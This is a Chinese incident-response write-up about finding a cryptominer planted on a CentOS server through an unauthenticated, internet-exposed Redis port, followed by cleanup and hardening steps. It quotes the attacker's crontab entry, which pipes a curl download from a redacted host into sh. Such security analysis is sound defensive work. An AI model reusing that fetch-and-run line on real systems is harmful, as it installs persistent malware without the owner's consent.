服务器被植入挖矿程序排查案例

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
简介: 主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

服务器被植入挖矿程序排查案例

主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

排查过程分析

首先登录服务器,查看整个系统状态。目标服务器是16核32GB,执行top命令发现平均负载在10左右,主要是被一个可疑的minerd进程消耗大量CPU资源,并且这个minerd进程还是由root用户启动的,已经启动了37min25s,当时时间是19:37。接着,又询问客户秒杀系统故障持续时间,客户回复大概半小时左右。

搜索关键字minerd发现这个一个挖矿程序,“挖矿”的本质是使用计算机解决一项复杂的数学问题,特定算法会消耗大量CPU资源,导致系统卡顿。

既然找到了问题,接下来就捋清思路解决问题:

  1. 清理挖矿程序。
  2. 排查挖矿程序的植入原因。
  3. 修复漏洞,安全加固。

清理挖矿程序

通过top找到minerd的进程号13343,根据进程号,查询产生进程的程序路径 。

#查询PID对应的可执行文件路径
ls -al /proc/13343/exe

上面命令的执行结果为/var/tmp/minerd,接下来执行kill -9 13343 杀死进程,并执行rm -rf /var/tmp/minerd清理挖矿程序。

再次执行top发现minerd进程已经不在,且平均负载已经下降,说明问题已经初步解决,但是一般植入挖矿程序都会修改crontab,检查/var/spool/cron/root发现如下计划任务:

*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh

可以看出,这个计划任务避开工作时间偷偷挖矿,具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。 rm -rf /var/spool/cron/root删除计划任务即可。

排查挖矿程序植入原因

通过netstat -tnpl查看到Redis的6380端口监听在0.0.0.0上,这属于高风险操作。接着,通过iptables -nL发现INPUT链有一条关于6380端口的开放规则:

ACCEPT  tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:6380

这条规则使Redis对全网开放,且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis。黑客很有可能利用Redis漏洞,同通过反弹Shell注入crontab来植入挖矿程序。

询问客户为何开放6380端口。客户回忆说,因为开发人员要在家办公,需要远程连接Redis,所以要开放6380端口,开发人员处理完问题,运维人员忘记关闭端口,就导致了这次事故的发生。

对于线上服务器,是不能随意开放端口的,虽然问题体现在端口开放上,但本质是开发和运维的协作机制问题,如果加强沟通,肯定会避免此类问题。

修复漏洞,安全加固

  1. 设置防火墙,禁止外网访问Redis:

    iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
  2. 以低权限运行Redis服务。
  3. 修改Redis默认端口,6379、6380、6381都是Redis常用的端口,建议修改成不易被识别的端口。
  4. 给Redis添加密码验证,修改redis.conf,添加requirepass 密码。重启Redis生效。
  5. 清空密钥认证文件,rm -rf /root/.ssh/*
  6. 修复sshd配置文件/etc/ssh/sshd_config,可以检查修改了那些配置项,也可以从正常的系统复制一个sshd_config过来。重启sshd生效。
  7. authorized_keys存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作,为了安全起见可以将authorized_keys的权限设置为只读、其他用户无权限,且无法修改此文件的权限,即:

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
  8. 检查/etc/rc.local/etc/init.d下是否有可疑内容。

欢迎大家留言交流!

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
28天前
|
存储 数据挖掘 Windows
服务器数据恢复—V7000存储raid5故障导致LUN无法访问的数据恢复案例
服务器数据恢复环境: 三台V7000存储,共有64块SAS硬盘(其中有三块热备盘,其中一块已启用)组建了数组raid5阵列。分配若干LUN,上层安装Windows server操作系统,数据分区格式化为NTFS文件系统。 服务器故障: V7000存储中有多块硬盘出现故障离线,阵列失效,LUN无法访问。需要恢复卷中所有数据(主要为dcm文件)。
|
29天前
|
Oracle 关系型数据库 数据挖掘
服务器数据恢复—服务器RAID5磁盘阵列数据恢复案例
服务器数据恢复环境: 一台服务器上有一组由5块硬盘(4块数据盘+1块热备盘)组建的raid5阵列。服务器安装Linux Redhat操作系统,运行一套基于oracle数据库的OA系统。 服务器故障: 这组raid5阵列中一块磁盘离线,但是热备盘并没有自动激活rebuild,当另外一块数据盘发生故障离线后,raid崩溃。 用户方要求恢复raid数据,同时要求还原操作系统。经过初步观察,raid中的这些硬盘没有表现出存在明显的物理故障的特征,也没有明显的同步表现,数据恢复的可能性很大。
|
1月前
|
存储 数据挖掘 虚拟化
服务器数据恢复—Raid5阵列两块硬盘硬件故障掉线的数据恢复案例
服务器数据恢复环境: 一台某品牌存储设备上有一组由10块硬盘(9块数据盘+1块热备盘)组建的raid5阵列,上层部署vmware exsi虚拟化平台。 服务器故障: raid5阵列中两块硬盘对应的指示灯亮黄灯掉线。硬盘序列号无法读取,通过SAS扩展卡也无法读取。
|
1月前
|
存储
服务器数据恢复—EMC存储RAID5阵列崩溃的数据恢复案例
服务器数据恢复环境: 一台EMC某型号存储设备,该存储中有一组由12块(包括2块热备盘)STAT硬盘组建的raid5阵列。 服务器故障: 该存储在运行过程中突然崩溃,raid瘫痪。数据恢复工程师到达现场对故障存储设备进行初检,发现raid中有两块硬盘掉线但只有一块热备盘成功激活,所以导致阵列瘫痪,上层lun无法使用。
|
7天前
|
存储 Oracle 关系型数据库
服务器数据恢复—EVA存储硬盘读写性能不稳定掉线的数据恢复案例
服务器存储数据恢复环境: 一台EVA某型号控制器+EVA扩展柜+FC磁盘。 服务器存储故障&检测: 磁盘故障导致该EVA存储中LUN不可用,导致上层应用无法正常使用。
68 47
|
6天前
|
数据挖掘 Linux 数据库
服务器数据恢复—reiserfs文件系统数据恢复案例
服务器数据恢复环境: 一台服务器中有一组由4块SAS硬盘组建的RAID5阵列,上层安装linux操作系统统。分区结构:boot分区+LVM卷+swap分区(按照顺序),LVM卷中划分了一个reiserfs文件系统作为根分区。 服务器故障: 服务器操作系统在运行过程中由于未知原因崩溃,管理员重装操作系统后发现分区结构变为:boot分区+swap分区+LVM卷(按照顺序),LVM卷中文件系统位置有个空的reiserfs超级块。 用户方需要恢复reiserfs文件系统中所有数据,包含数据库、网站程序与网页、OA系统中所有办公文档。
服务器数据恢复—reiserfs文件系统数据恢复案例
|
9天前
|
存储 数据挖掘
服务器数据恢复—EqualLogic存储raid5阵列多块硬盘掉线的数据恢复案例
服务器存储数据恢复环境: 一台EqualLogic存储中有一组由16块SAS硬盘组建的RAID5阵列。上层划分了4个卷,采用VMFS文件系统,存放虚拟机文件。 服务器存储故障: 存储RAID5阵列中磁盘出现故障,有2块硬盘对应的指示灯亮黄灯,存储不可用,且存储设备已经过保。
|
7天前
|
存储 运维 数据挖掘
服务器数据恢复—EVA存储删除VDISK的数据恢复案例
服务器存储数据恢复环境: 某单位有一台EVA某型号存储主机+2个扩展柜,共12个FATA磁盘+10个FC磁盘,LUN数量不确定,操作系统为WINDOWS SERVER。该存储用来存放单位的历史案例审理材料。 服务器存储故障&检测: 该EVA存储出现故障,无法正常使用。而且经过几家数据恢复服务商的操作,具体故障原因已经无法确定。
|
20天前
|
算法 数据挖掘 Linux
服务器数据恢复—EXT3文件系统下邮件数据恢复案例
服务器数据恢复环境: 邮件服务器中有一组由8块盘组成的RAID5阵列, 上层是Linux操作系统+EXT3文件系统。 服务器故障: 由于误删除导致文件系统中的邮件数据丢失。
|
25天前
|
运维 Java Linux
【运维基础知识】Linux服务器下手写启停Java程序脚本start.sh stop.sh及详细说明
### 启动Java程序脚本 `start.sh` 此脚本用于启动一个Java程序,设置JVM字符集为GBK,最大堆内存为3000M,并将程序的日志输出到`output.log`文件中,同时在后台运行。 ### 停止Java程序脚本 `stop.sh` 此脚本用于停止指定名称的服务(如`QuoteServer`),通过查找并终止该服务的Java进程,输出操作结果以确认是否成功。
32 1